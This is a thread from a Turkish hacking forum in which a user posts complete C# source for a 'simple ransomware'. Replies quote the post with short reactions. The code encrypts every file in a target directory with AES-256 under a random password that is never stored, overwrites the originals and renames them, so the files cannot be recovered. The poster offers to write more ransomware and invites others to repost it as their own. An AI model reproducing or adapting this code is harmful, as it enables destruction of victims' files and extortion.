Basit fidye virüsü //By 0bayt

Selamlar bugün bolca zamanım oldu ve yeni kayıt olduğum için foruma katkıda bulunmak istedim. Yazarken kullandığım programlama dili C#, kullandığım şifreleme algoritması ise...

Selamlar bugün bolca zamanım oldu ve yeni kayıt olduğum için foruma katkıda bulunmak istedim.

Yazarken kullandığım programlama dili C#, kullandığım şifreleme algoritması ise AES256'dır.
View hidden content is available for registered users!

Kod:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO; //Zorunlu!
using System.Security.Cryptography; //Zorunlu!
namespace FidyeVirüsü
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            string[] dosyalar = Directory.GetFiles(@"Kriptolonacak dosyaların yolu buraya yazılır isterseniz rasgele şekilde baştan tasarlayabilirsiniz ama mantık diziler üzerinden hazırlanmıştır");
            for (int i = 0; i < dosyalar.Length; i++)
            {
                Random Parola = new Random();
                EncryptFile(dosyalar[i].ToString(), Parola.Next(1, 500).ToString()); //dosyaları dosyalar isimli diziden alır  - parola ise 1 ile 500 arasında rasgele bir sayıdan oluşur (methodu inceleyerek daha iyi anlayabilirisiniz)
                File.Move(dosyalar[i], dosyalar[i]+".şifrelenmişdosyauzantısı");
            }
        }

        private void Form1_Load(object sender, EventArgs e)
        {

        }
        public void EncryptFile(string file, string password) //Şifrelemeyi yapan methodumuz
        {

            byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
            byte[] passwordBytes = Encoding.UTF8.GetBytes(password);

            // Hash the password with SHA256
            passwordBytes = SHA256.Create().ComputeHash(passwordBytes);

            byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);

            string fileEncrypted = file;

            File.WriteAllBytes(fileEncrypted, bytesEncrypted);
        }
        public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) //algoritmamızın bulunduğu method
        {
            byte[] encryptedBytes = null;
            byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };

            using (MemoryStream ms = new MemoryStream())
            {
                using (RijndaelManaged AES = new RijndaelManaged())
                {
                    AES.KeySize = 256;
                    AES.BlockSize = 128;

                    var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
                    AES.Key = key.GetBytes(AES.KeySize / 8);
                    AES.IV = key.GetBytes(AES.BlockSize / 8);

                    AES.Mode = CipherMode.CBC;

                    using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
                        cs.Close();
                    }
                    encryptedBytes = ms.ToArray();
                }
            }

            return encryptedBytes;
        }
    }
}

Ayrıca ekstra sorunuz varsa alabilirim.

Not : Bu fidye virüsü sadece şifreleme işlemi yapmaktadır istek olursa ekstra çözme işlemide yapılan bir fidye virüsü kodlayabilirim

Not : Program benim tarafımdan yazılmıştır isteyen kaynak kodunu düzenleyerek "ben yaptım" vs. diyerek paylaşabilir iyi forumlar
 
Son düzenleme:
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl
Selamlar bugün bolca zamanım oldu ve yeni kayıt olduğum için foruma katkıda bulunmak istedim.

Yazarken kullandığım programlama dili C#, kullandığım şifreleme algoritması ise AES256'dır.
View hidden content is available for registered users!

Kod:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO; //Zorunlu!
using System.Security.Cryptography; //Zorunlu!
namespace FidyeVirüsü
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            string[] dosyalar = Directory.GetFiles(@"Kriptolonacak dosyaların yolu buraya yazılır isterseniz rasgele şekilde baştan tasarlayabilirsiniz ama mantık diziler üzerinden hazırlanmıştır");
            for (int i = 0; i < dosyalar.Length; i++)
            {
                Random Parola = new Random();
                EncryptFile(dosyalar[i].ToString(), Parola.Next(1, 500).ToString()); //dosyaları dosyalar isimli diziden alır  - parola ise 1 ile 500 arasında rasgele bir sayıdan oluşur (methodu inceleyerek daha iyi anlayabilirisiniz)
                File.Move(dosyalar[i], dosyalar[i]+".şifrelenmişdosyauzantısı");
            }
        }

        private void Form1_Load(object sender, EventArgs e)
        {

        }
        public void EncryptFile(string file, string password) //Şifrelemeyi yapan methodumuz
        {

            byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
            byte[] passwordBytes = Encoding.UTF8.GetBytes(password);

            // Hash the password with SHA256
            passwordBytes = SHA256.Create().ComputeHash(passwordBytes);

            byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);

            string fileEncrypted = file;

            File.WriteAllBytes(fileEncrypted, bytesEncrypted);
        }
        public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) //algoritmamızın bulunduğu method
        {
            byte[] encryptedBytes = null;
            byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };

            using (MemoryStream ms = new MemoryStream())
            {
                using (RijndaelManaged AES = new RijndaelManaged())
                {
                    AES.KeySize = 256;
                    AES.BlockSize = 128;

                    var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
                    AES.Key = key.GetBytes(AES.KeySize / 8);
                    AES.IV = key.GetBytes(AES.BlockSize / 8);

                    AES.Mode = CipherMode.CBC;

                    using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
                        cs.Close();
                    }
                    encryptedBytes = ms.ToArray();
                }
            }

            return encryptedBytes;
        }
    }
}

Ayrıca ekstra sorunuz varsa alabilirim.

Not : Bu fidye virüsü sadece şifreleme işlemi yapmaktadır istek olursa ekstra çözme işlemide yapılan bir fidye virüsü kodlayabilirim

Not : Program benim tarafımdan yazılmıştır isteyen kaynak kodunu düzenleyerek "ben yaptım" vs. diyerek paylaşabilir iyi forumlar
es
 
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl
Selamlar bugün bolca zamanım oldu ve yeni kayıt olduğum için foruma katkıda bulunmak istedim.

Yazarken kullandığım programlama dili C#, kullandığım şifreleme algoritması ise AES256'dır.
[Gizli içerik]
Ayrıca ekstra sorunuz varsa alabilirim.

Not : Bu fidye virüsü sadece şifreleme işlemi yapmaktadır istek olursa ekstra çözme işlemide yapılan bir fidye virüsü kodlayabilirim

Not : Program benim tarafımdan yazılmıştır isteyen kaynak kodunu düzenleyerek "ben yaptım" vs. diyerek paylaşabilir iyi forumlar
 
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl
eyw
Selamlar bugün bolca zamanım oldu ve yeni kayıt olduğum için foruma katkıda bulunmak istedim.

Yazarken kullandığım programlama dili C#, kullandığım şifreleme algoritması ise AES256'dır.
[Gizli içerik]
Ayrıca ekstra sorunuz varsa alabilirim.

Not : Bu fidye virüsü sadece şifreleme işlemi yapmaktadır istek olursa ekstra çözme işlemide yapılan bir fidye virüsü kodlayabilirim

Not : Program benim tarafımdan yazılmıştır isteyen kaynak kodunu düzenleyerek "ben yaptım" vs. diyerek paylaşabilir iyi forumlar
 
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl
Selamlar bugün bolca zamanım oldu ve yeni kayıt olduğum için foruma katkıda bulunmak istedim.

Yazarken kullandığım programlama dili C#, kullandığım şifreleme algoritması ise AES256'dır.
[Gizli içerik]
Ayrıca ekstra sorunuz varsa alabilirim.

Not : Bu fidye virüsü sadece şifreleme işlemi yapmaktadır istek olursa ekstra çözme işlemide yapılan bir fidye virüsü kodlayabilirim

Not : Program benim tarafımdan yazılmıştır isteyen kaynak kodunu düzenleyerek "ben yaptım" vs. diyerek paylaşabilir iyi forumlar
bkk
 
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl
Selamlar bugün bolca zamanım oldu ve yeni kayıt olduğum için foruma katkıda bulunmak istedim.

Yazarken kullandığım programlama dili C#, kullandığım şifreleme algoritması ise AES256'dır.
[Gizli içerik]
Ayrıca ekstra sorunuz varsa alabilirim.

Not : Bu fidye virüsü sadece şifreleme işlemi yapmaktadır istek olursa ekstra çözme işlemide yapılan bir fidye virüsü kodlayabilirim

Not : Program benim tarafımdan yazılmıştır isteyen kaynak kodunu düzenleyerek "ben yaptım" vs. diyerek paylaşabilir iyi forumlar
look
 
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl
Selamlar bugün bolca zamanım oldu ve yeni kayıt olduğum için foruma katkıda bulunmak istedim.

Yazarken kullandığım programlama dili C#, kullandığım şifreleme algoritması ise AES256'dır.
[Gizli içerik]
Ayrıca ekstra sorunuz varsa alabilirim.

Not : Bu fidye virüsü sadece şifreleme işlemi yapmaktadır istek olursa ekstra çözme işlemide yapılan bir fidye virüsü kodlayabilirim

Not : Program benim tarafımdan yazılmıştır isteyen kaynak kodunu düzenleyerek "ben yaptım" vs. diyerek paylaşabilir iyi forumlar
Bakalım
 
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl
131,991Konular
3,273,714Mesajlar
316,734Kullanıcılar
LucmSon Üye
Üst Alt